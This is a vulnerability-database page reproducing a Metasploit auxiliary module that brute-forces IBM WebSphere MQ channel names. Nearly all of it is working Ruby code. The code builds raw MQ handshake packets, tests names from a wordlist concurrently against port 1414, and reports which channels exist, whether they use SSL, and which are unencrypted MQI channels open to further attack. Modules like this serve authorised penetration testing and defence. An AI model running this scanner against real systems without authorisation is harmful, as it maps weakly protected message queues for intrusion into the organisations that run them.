Lucene search
+L

IBM WebSphere MQ Channel Name Bruteforce

🗓️ 28 Oct 2018 15:22:27Reported by Petros KoutroumpisType 
metasploit
 metasploit
🔗 www.rapid7.com👁 57 Views

IBM WebSphere MQ Channel Name Bruteforce module uses a dictionary to brute force MQ channel names

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name'        => 'IBM WebSphere MQ Channel Name Bruteforce',
      'Description' => 'This module uses a dictionary to bruteforce MQ channel names. For all identified channels it also returns if SSL is used and whether it is a server-connection channel.',
      'Author'      => 'Petros Koutroumpis',
      'License'     => MSF_LICENSE
    )
    register_options([
      Opt::RPORT(1414),
      OptInt.new('TIMEOUT', [true, "The socket connect timeout in seconds", 10]),
      OptInt.new('CONCURRENCY', [true, "The number of concurrent channel names to check", 10]),
      OptPath.new('CHANNELS_FILE',
        [ true, "The file that contains a list of channel names"]
      )])
  end

  def create_packet(chan)
    packet = "\x54\x53\x48\x20"+ 	# StructID
    "\x00\x00\x01\x0c"+ 		# MQSegmLen
    "\x02" +			 	# Byte Order
    "\x01" +			 	# SegmType
    "\x01" +				# CtlFlag1
    "\x00" +				# CtlFlag2
    "\x00\x00\x00\x00\x00\x00\x00\x00"+	# LUWIdent
    "\x22\x02\x00\x00"+			# Encoding
    "\xb5\x01" +			# CCSID
    "\x00\x00" +			# Reserved
    "\x49\x44\x20\x20" +		# StructID
    "\x0d" +				# FAP Level
    "\x26" +				# CapFlag1 - Channel Type
    "\x00" +				# ECapFlag1
    "\x00" +				# IniErrFlg1
    "\x00\x00" +			# Reserved
    "\x32\x00" +			# MaxMsgBtch
    "\xec\x7f\x00\x00" +		# MaxTrSize
    "\x00\x00\x40\x00" +		# MaxMsgSize
    "\xff\xc9\x9a\x3b" +		# SegWrapVal
    + chan + 				# Channel name
    "\x20" +				# CapFlag2
    "\x20" +				# ECapFlag2
    "\x20\x20" +			# ccsid
    "QM1" + "\x20"*45 +			# Queue Manager Name
    "\x20\x20\x20\x20" +		# HBInterval
    "\x20\x20" +			# EFLLength
    "\x20" +				# IniErrFlg2
    "\x20" +				# Reserved1
    "\x20\x20" +			# HdrCprLst
    "\x20\x20\x20\x20\x2c\x01\x00\x00"+ # MSGCprLst1
    "\x8a\x00\x00\x55\x00\xff\x00\xff"+ # MsgCprLst2
    "\xff\xff" +			# Reserved2
    "\xff\xff\xff\xff" +		# SSLKeyRst
    "\xff\xff\xff\xff" +		# ConvBySKt
    "\xff" +				# CapFlag3
    "\xff" +				# ECapFlag3
    "\xff\xff" +			# Reserved3
    "\x00\x00\x00\x00" +		# ProcessId
    "\x00\x00\x00\x00" +		# ThreadId
    "\x00\x00\x05\x00" +		# TraceId
    "\x00\x00\x10\x13\x00\x00" + 	# ProdId
    "\x01\x00\x00\x00\x01\x00" + 	# ProdId
    "MQMID" + "\x20"*43 +		# MQM Id
    "\x20\x20\x20\x20\x20\x20\x20\x20"+ # Unknown
    "\x20\x20\x20\x20\x20\x20\x00\x00"+ # Unknown
    "\xff\xff\xff\xff\xff\xff\xff\xff"+ # Unknown
    "\xff\xff\xff\xff\xff\xff\xff\xff"+ # Unknown
    "\xff\xff\x00\x00\x00\x00\x00\x00"+ # Unknown
    "\x00\x00\x00\x00\x00\x00"		# Unknown
  end


  def run_host(ip)
    @channels = []
    @unencrypted_mqi_channels = []
    begin
      channel_list
      rescue ::Rex::ConnectionRefused
        fail_with(Failure::Unreachable, "TCP Port closed.")
      rescue ::Rex::ConnectionError, ::IOError, ::Timeout::Error, Errno::ECONNRESET
        fail_with(Failure::Unreachable, "Connection Failed.")
      rescue ::Exception => e
        fail_with(Failure::Unknown, e)
      end
      if(@channels.empty?)
        print_status("#{ip}:#{rport} No channels found.")
      else
        print_good("Channels found: #{@channels}")
        print_good("Unencrypted MQI Channels found: #{@unencrypted_mqi_channels}")
        report_note(
          :host => rhost,
          :port => rport,
          :type => 'mq.channels'
        )
      print_line
    end
  end

  def channel_list
    channel_data = get_channel_names
    while (channel_data.length > 0)
      t = []
      r = []
      begin
        1.upto(datastore['CONCURRENCY']) do
          this_channel = channel_data.shift
          if this_channel.nil?
            next
          end
          t << framework.threads.spawn("Module(#{self.refname})-#{rhost}:#{rport}", false, this_channel) do |channel|
            connect
            vprint_status "#{rhost}:#{rport} - Sending request for #{channel}..."
            if channel.length.to_i > 20
              print_error("Channel names cannot exceed 20 characters.  Skipping.")
              next
            end
            chan = channel + "\x20"*(20-channel.length.to_i)
            timeout = datastore['TIMEOUT'].to_i
            s = connect(false,
              {
                'RPORT' => rport,
                'RHOST' => rhost,
              }
            )
            s.put(create_packet(chan))
            data = s.get_once(-1,timeout)
            if data.nil?
              print_status("No response received. Try increasing timeout.")
              next
            end
            if not data[0...3].include? 'TSH'
              next
            end
            if data[-4..-1] == "\x01\x00\x00\x00" # NO_CHANNEL code
              next
            end
            if data[-4..-1] == "\x18\x00\x00\x00" # CIPHER_SPEC code
              print_status("Found channel: #{channel}, IsEncrypted: True, IsMQI: N/A")
            elsif data[-4..-1] == "\x02\x00\x00\x00" # CHANNEL_WRONG_TYPE code
              print_status("Found channel: #{channel}, IsEncrypted: False, IsMQI: False")
            else
              print_status("Found channel: #{channel}, IsEncrypted: False, IsMQI: True")
              @unencrypted_mqi_channels << channel
            end
            @channels << channel
            disconnect
          end
        end
        t.each {|x| x.join }
      end
    end
  end

  def get_channel_names
    if(! @common)
      File.open(datastore['CHANNELS_FILE'], "rb") do |fd|
        data = fd.read(fd.stat.size)
        @common = data.split(/\n/).compact.uniq
      end
    end
    @common
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Nov 2018 22:24Current
0.2Low risk
Vulners AI Score0.2
57